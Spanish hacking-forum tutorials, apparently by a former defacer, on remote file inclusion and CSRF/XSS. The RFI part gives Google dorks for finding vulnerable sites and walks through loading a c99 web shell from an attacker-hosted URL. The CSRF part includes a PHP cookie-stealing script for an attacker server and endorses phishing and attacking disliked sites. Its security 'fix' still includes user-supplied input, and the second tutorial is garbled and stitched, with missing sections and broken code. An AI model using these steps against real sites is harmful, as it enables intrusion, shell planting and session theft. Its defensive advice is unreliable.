Tutorial remote file inclusion
1.) Presentación
2.) Que es RFI
3.) Dorks RFI
4.) Testeando la vulnerabilidad
5.) Sacando una conclusión a todo
6.) Como cuidar nuestra Web de este tipo de ataques
7.) Despedida
1.) Presentación
Primero que nada este tutorial va dedicado a mis amigos de BugDox y a todo los Lectores especialmente a los que no les caigo bien, muchos me harán criticas Y eso es Bueno porque Uds. Me corrigen como muchos saben yo me retire del DEFACING no Es que yo sea conocido ni nada por el estilo este tutorial lo he hecho de manera especial
Para dar la diferencia de otros tutoriales que he visto en la red…
¿Por qué diferente?
Porque la mayoría de los tutoriales visto en la red son poco explicados para iniciados
¿A que se debe este tutorial?
Bueno este tutorial no puedo decir que lo hago con el fin de bien lo hago para bien y Para mal lo hago con concepto de cómo explotarlo y concepto de cómo arreglarlo
No es mi culpa que un Web Master no me haga caso ¿Verdad?
Los saludos más especiales para mis compañeros:
Zero Bits
KuTer
Jeferx
Darki113r
_84kur10_
Z1z30f
Kozmic.Kizz
Zonithahack
3mp3z@nd0
2.) Que es RFI
RFI tiene como nombre Remote File Inclusión en español inclusión remota de archivo
Como ya saben que dice en la wikipedia esta vulnerabilidad se encuentra en páginas
Dinámicas ósea echas en PHP no en todo tipo de Web como saben siempre es depende
Del buen programador esta vulnerabilidad se encuentra en include() casi siempre
Buscamos en los códigos de fuentes por eso es bueno estar pendiente de nuestra Programación cuando tenemos un sitio Web, Un atacante puede inyectar su código
En un programa PHP en su servidor, Cuando acceden al servidor pueden acceder a Cualquier que tiene el programa PHP por ejemplo:
Base de datos
Archivos de contraseña
Y otras cosas
Pueden instalar sus propios servidores que lo ejecutan con los privilegios de la victima
Del servidor Web como {apache o httpd} Y si el servidor no lo han modificado en algunos locales de la vulnerabilidad de escalada de privilegios el atacante que monto
La shell puede ser usada para convertirse en root…
3.) Dorks RFI
Con un dork podemos conseguir las vulnerabilidades al azar con solo visitar
Www.Google.com y poner lo siguiente:
/index.inc.php?PATH_Includes=
/ashnews.php?pathtoashnews=
Uno de estos dos les servirá si no visiten Aqui
4.) Testeando la vulnerabilidad
Bueno ya hemos encontrado una Web ahora vamos a testearla haber si es vulnerable
Primero que nada muchas veces esto se encuentra con solo revisar en los códigos de Fuente siempre se encuentra lo siguiente:
Código:
include"#bugdox";
?>
Recordemos que esta vulnerabilidad se presenta cuando se intenta meter una página
Remota adentro de la otra y se utilizan lo códigos que di como ejemplo cuando se Encuentra la Vulnerabilidad.include() lo que hace es incluir una pagina remota por ejemplo $Bugdox
Se puede utilizar una url bajo argumento y eso es lo que hace explotar RFI por ejemplo:
Código:
http://vulnerable.com/badcode?ejemplo=
tenemos ?ejemplo.php cuando el atacante introduce su codigo malicioso.
Citar
http://vulnerable.com/badcode?ejemplo=http://Www.xD.com/c99.jpg
Www.xD.com es la Web donde subí mi SHELL con el nombre c99.jpg
Al ejecutar esto en la Web de la victima ¿Qué pasa? No recoge ejemplo.php
Si no que el sistema agarra la url maligna que es la que le da una CONEXIÓN REMOTA que es cuando introducimos nuestra shell ¿Me entienden?.Un atacante
Puede saber controlar las variables de PHP se hace mediante:
Código:
mis-PHP register_globals función.
Cuando register_globals esta habilitado en PHP el lenguaje automagicamente
Hace una instancia con los valores de las variables de la petición en http, y los pone
En el espacio de nombres del programa PHP.
Cuando se activa se le permite a un atacante inyectar un valor para cualquier variable Sin inicializar en cualquier programa solo el atacante añade un parámetro GET al final De la url es decir después de “=”
Ejemplo hemos entrado en Www.xD.com hemos mirado el código de fuente
Hemos observado que tiene include() hacemos la prueba:
Código:
http://vulnerable.com/badcode?ejemplo=http://Www.google.com
Resulta que al darle clic nos redirección a GOOGLE de una vez ya sabemos que la Web Es vulnerable a RFI.
Luego que encontramos nuestra Web vulnerable buscamos nuestra SHELL
Ya sea c99 o r57 y hay otras mas.
Buscamos un hosting gratuito que soporte PHP y guardamos nuestra shell en un
Jpg.php o con gif.php no importa el formato porque tampoco que vamos a poner
Cualquier formato a veces muchas Web no permiten extracciones como gif y otras…
5.) Sacando una conclusión a todo
Como pueden ver la lógica rfi no es muy difícil es un ataque muy básico
Trata de que www.xD.com es la Web vulnerable bugdox.php esta es la que
Incluirá el redireccionamiento ?ejemplo= Esta es la que le permite a un atacante
Introducir códigos maliciosos por ejemplo la SHELL y www.xD.com/c99_jpg
Este sitio es el que almacena la shell...
6.) Como cuidar nuestra Web de este tipo de ataques
Para evitar este tipo de ataques en nuestros sitios podemos ir al FTP y buscar
La configuración index.php lo editamos y agregamos lo siguiente:
Antes de continuar este CODIGO de seguridad no es hecho por mi lo pueden ver
Aquí…
Codigo:
if (file_exists($_GET['id'].".php")) {
include ($_GET['id'].".php");
} else {
echo "El acceso a este lugar lo tiene denegado o no existe";
}
Ejemplo de codigo:
echo "El acceso a este lugar lo tiene denegado o no existe";
Este if funciona de la manera que si al colocar:
http://vulnerable.com/badcode?ejemplo=http://Www.google.com
No te redireccionara si no que te dirá El acceso a este lugar lo tiene desnegado o no Existe pero si por ejemplo agregamos:
http://vulnerable.com/badcode?ejemplo=BugDox
Y si existe pasara normalmente sin dar el error para que no de el Error este archivo debe existir.
7.) Despedida
Otro tutorial mas que hago no es la gran cosa a lo mejor tengo errores por hay
Si los tengo me gustarian las {Criticas} Son muy importante para correjir a los
Demas...
No pongo mi sitio Web porque siempre los Web Master andan con el trauma de que
Hacemos Spam como si con eso piensan que acabaran el Spam sueñen un rato…
Group’s Ethical.
Zero Bits
KuTer
Jeferx
Darki113r
_84kur10_
ShadinessDark
Mi team V1rtu@l VIRu$ Bl@ck Team
By ShadinessDark
[Tutorial] RFI By ShadinessDark
Publicado por ShadinessDark[Tutorial] Vulnerabilidad CSRF By ShadinessDark [Colaboracion de Zero Bits]
Publicado por ShadinessDark[center][img]http://blog.internetnews.com/skerner/smk/blackhat.jpg[/img][/center]
[center][b]Inicio Tutorial Cross Site Request Forgery By ShadinessDark = Zero Bits[/b][/center]
1.) Presentación
2.) Que es CSRF
3.) Quien descubrió la vulnerabilidad CSRF
4.) CSRF y Xss
5) Robo de Cookies en XSS & CSRF (Diferencia) - Colaboracion de Zero Bits
6.) Testeando vulnerabilidad CSRF y programas el code vulnerable
7.) Sacando una conclusión a todo
8.) Como cuidar nuestra Web de este tipo de ataques
9.) Despedida
[b][color=red]1.) Presentación[/color][/b]
Primero que nada este tutorial va dedicado a mis amigos de BugDox y a todo los Lectores especialmente a los que no les caigo bien, muchos me harán criticas Y eso es Bueno porque Uds. Me corrigen como muchos saben yo me retire del DEFACING no Es que yo sea conocido ni nada por el estilo este tutorial lo he hecho de manera especial
Para dar la diferencia de otros tutoriales que he visto en la red…
[b]¿Por qué diferente? [/b]
Porque la mayoría de los tutoriales visto en la red son poco explicados para iniciados
[b]¿A que se debe este tutorial? [/b]
Bueno este tutorial no puedo decir que lo hago con el fin de bien lo hago para bien y Para mal lo hago con concepto de cómo explotarlo y concepto de cómo arreglarlo
No es mi culpa que un Web Master no me haga caso ¿Verdad?
Los saludos más especiales para mis compañeros:
[b]Zero Bits
KuTer
Jeferx
Darki113r
_84kur10_
Z1z30f
Kozmic.Kizz[/b]
[color=red][b]2.) Que es CSRF [/b][/color]
Bueno como muchos quizás han leído en la wikipedia ya csrf representa a
Cross Site Request Forgery el ataque se efectúa cuando por ejemplo Vemos algo
Así [url=http://Www.shadinessdark.net] Presiona este link para que te lleve a mi sitio [/url]
Siempre el atacante usa como victima a un usuario que le brinda confianza la Web.
Los que tenemos foros sabemos que cada usuario tiene como destino un perfil donde
Cambiamos contraseña – email – nombre de usuario y otras cositas casi siempre el Atacante usa un código malicioso para hacer una petición en {GET – Post – HTTP}
Con esta vulnerabilidad el atacante le puede cambiar a la victima su información de PERFIL.
[color=red][b]3.) Quien descubrió la vulnerabilidad CSRF[/b][/color]
En el 1988 Hardy Norma publico un documento que explique una solicitud cuestión nivel de confianza que llamo un
Diputado confuso. En 2000, un correo a bugtraq explico Zope fue afectado por un problema confuso
Web diputado que se define hoy como una vulnerabilidad CSRF mas tarde en el 2001 Peter Watkins publico una entrada
En la lista de correo bugtraq acuñar el termino CSRF en respuesta a otro hilo titulado
Los peligros de permitir a los usuarios colocar imágenes en los sitios Web.
Bueno sobre quien lo descubrio ese credito si no me toca a mi esa parte es de [url=http://www.cgisecurity.com/csrf-faq.html]Aqui[/url] solo lo logre traducir...
[color=red][b]4.) CSRF y Xss [/b][/color]
Quizás muchas personas nos preguntamos o se preguntan si esta vulnerabilidad
Es parecida o igual a xss.
Les explico bueno xss se aprovecha de la confianza de la victima que tiene el sitio
Web o aplicación el usuario lea ae contenido que aparece en su navegador que esta destinada y representada por el sitio Web que se esta viendo.
El csrf se aprovecha de la confianza que el sitio tiene para la victima ósea usuario…
[color=red]4.1) Robo de Cookies en XSS & CSRF (Diferencia) - Colaboracion de Zero Bits[/color]
Bueno hay un metodo en XSS que algunos amigos me han dicho que se parece a el XSRF o CSRF, que son el ROBO DE COOKIES EN XSS y el CSRF, la verdad es que no ya que, el robo de cookies por xss como su nombre lo indica roba las cookies de cualquier usuario o administrador del sitio y el CSRF se encarga de ROBAR, VER y CAMBIAR cualquier informacion dependiendo de la victima que caiga.
Vamos a ver un ROBO DE COOKIES EN XSS y un ataque CSRF clasico, para que vean un poco la diferencia...
- ROBO DE COOKIES EN XSS
Primero tendriamos que saber si el server es vulnerable a XSS o tambien podriamos probar que el code
[code][url] o [img] [/code]
no filtre bien el contenido que se le asigne.
Para algunos que no entienden lo de [code][url] y [img][/code] es cuando dentro del [code][url][/code] agregariamos un link como [code]"javascript:alert("xss")"[/code] y cuando se le de click se ejecute hay mismo, tambien podriamos agregar XSS con codes HEXADECIMALES (ya esto es otro tema, asi que no lo explicare).
Bueno, en otro servidor aparte (que seria el nuestro) codeariamos un programa en PHP que se encargue de recibir al usuario victima y robarle las cookies apenas entre (Para esto se necesita saber por lo menos PHP BASICO)
[code]
$cookie = $_REQUEST[cookie];
$file=fopen("cookies.txt", "a");
fput($file, "$cookie\n");
fclose($file);
?>
[/code]
PD: Este code no es mio es de Chebyte. Pero esto es basico...
Bueno, le explicare el code para quienes no lo entiendan:
$cookie = $_REQUEST[cookie] : El que recibe la cookie
$file=fopen("cookies.txt", "a") : Crea el archivo cookies.txt para lectura
fput($file, "$cookie\n") : Muestra la cookie
fclose($file) : Cierra
Podriamos guardarlo "robador.php" y ahora faltaria el code que redireccione a este CODE:
[code][/code]
Y Tachan! tienes la cookie...
Bueno antes que nada les dire lo SCRIPT KIDDIE y BUENO de este metodo:
1. SCRIPT KIDDIE: Usar este metodo contra webs de Hacking
2. NO-LAMMER: Usar contra sites malos como: Porno, Pedofilia, Estafadores, Enemigos, EMOS!!!, etc..
3. SCRIPT KIDDIE: Aprender este metodo unicamente sin saber como funciona
4. NO-LAMMER: Aprender JAVASCRIPT, HTML y PHP
5. MEDIO: Usarla para Phishing [Es malo y es bueno xD, pero no es lammer]
5. SCRIPT KIDDIE: Hacking MSN -.-"
Ahora pasaremos a hablar del CSRF clasico:
- XSRF/CSRF Clasico
Bueno ahora usaremos una forma de XSRF clasico, pero no de robo si no de CAMBIO de datos, que seria primero como dije probar si el server es vulnerable a JAVASCRIPT, o si no filtra bien el contenido de los BBCODES, o los inputs mal programados, o tambien podriamos atacar normal, sin que el usuario sepa que es un ataque.
Podriamos atacar sin que la victima sepa que es malo asi (dependiendo de la pagina):
[code]
Luego buscamos el archive que se llama Config.php lo pueden encontrar
Por el mismo FTP y le agregamos lo siguiente:
[code]
$bd_host = "localhost";
$bd_usuario = "user";
$bd_password = "pass";
$bd_base = "bd";
$con = mysql_connect($bd_host, $bd_usuario, $bd_password); mysql_select_db($bd_base, $con);
?>[/code]
En el archive datos.php usaremos lo siguiente:
[code]
include('config.php');
session_start();
if(isset($_REQUEST['usuario']))
$usuario = $_REQUEST['usuario'];
else
die("Rellene el campo Usuario");
if(isset($_REQUEST['email']))
$email = $_REQUEST['email];
else
die("Rellene el campo email");
if(isset($_REQUEST['contraseña']))
$contraseña = $_REQUEST['contraseña];
else
die("Rellene el campo Contraseña");
if(isset($_REQUEST['emailalternativo']))
$emailalternativo = $_REQUEST['emailalternativo];
else
die("Falta el email alternativo");
if(isset($_REQUEST['actualcontraseña']))
$actualcontraseña = $_REQUEST['actualcontraseña];
else
die("Especifique la contraseña");
if ($actualcontraseña==NULL) {
echo "Especifique su contraseña Actual";
}else{
$query = mysql_query("SELECT usuario,actualcontraseña FROM myhosting_usuarios WHERE username = '$usuario'") or die(mysql_error());
$data = mysql_fetch_array($query);
if($data['contraseñaa'] != $actualcontraseña) {
echo "Contraseña Actual Inavalida";
}else{
CambiarDatos($usuario, $email, $contraseña, $emailalternativo);
?>[/code]
Ahora vamos a nuestro panel entramos a PHPMYADMIN ósea a nuestro phpmyadmin
Y le damos donde dice Consulta y introducen el siguiente código:
[code]
CREATE TABLE `myhosting_usuarios` (
`id` int(11) NOT NULL auto_increment,
`usuario` varchar(15) NOT NULL,
`email` varchar(15) NOT NULL,
`emailalternativo` varchar(15) NOT NULL,
`contraseña` varchar(150) NOT NULL,
`contraseñaa` varchar(150) NOT NULL,
KEY `id` (`id`)
) ENGINE=MyISAM;
INSERT INTO `myhosting_usuarios` VALUES (1, 'SecurityKill', 'mymail@gmail.com', 'mymail2@gmail.com', 'mypass', 'mypass');[/code]
9.) Despedida
Bueno señores ya hemos terminado este tutorial quizás muchos no entendieron
Y otros si me entendieron traten de hacer lo mejor por dar una buena explicación
Pero recuerden que no todo se pone tan fácil, Bueno en este tutorial compartí gran
Parte con mi hermano zero bits que su parte quedo maravillosa lo se porque lo lei
Me gustan las críticas así que espero las críticas tutorial escrito a mano todo los derechos del autor reservados y los códigos no todos son nuestros por eso hemos
Puesto en algunos la fuente les deseo un gran fin de semana…
No pongo mi sitio Web porque siempre los Web Master andan con el trauma de que
Hacemos Spam como si con eso piensan que acabaran el Spam sueñen un rato…
Group’s Ethical.
Zero Bits
KuTer
Jeferx
Darki113r
_84kur10_
ShadinessDark
Mi team V1rtu@l VIRu$ Bl@ck Team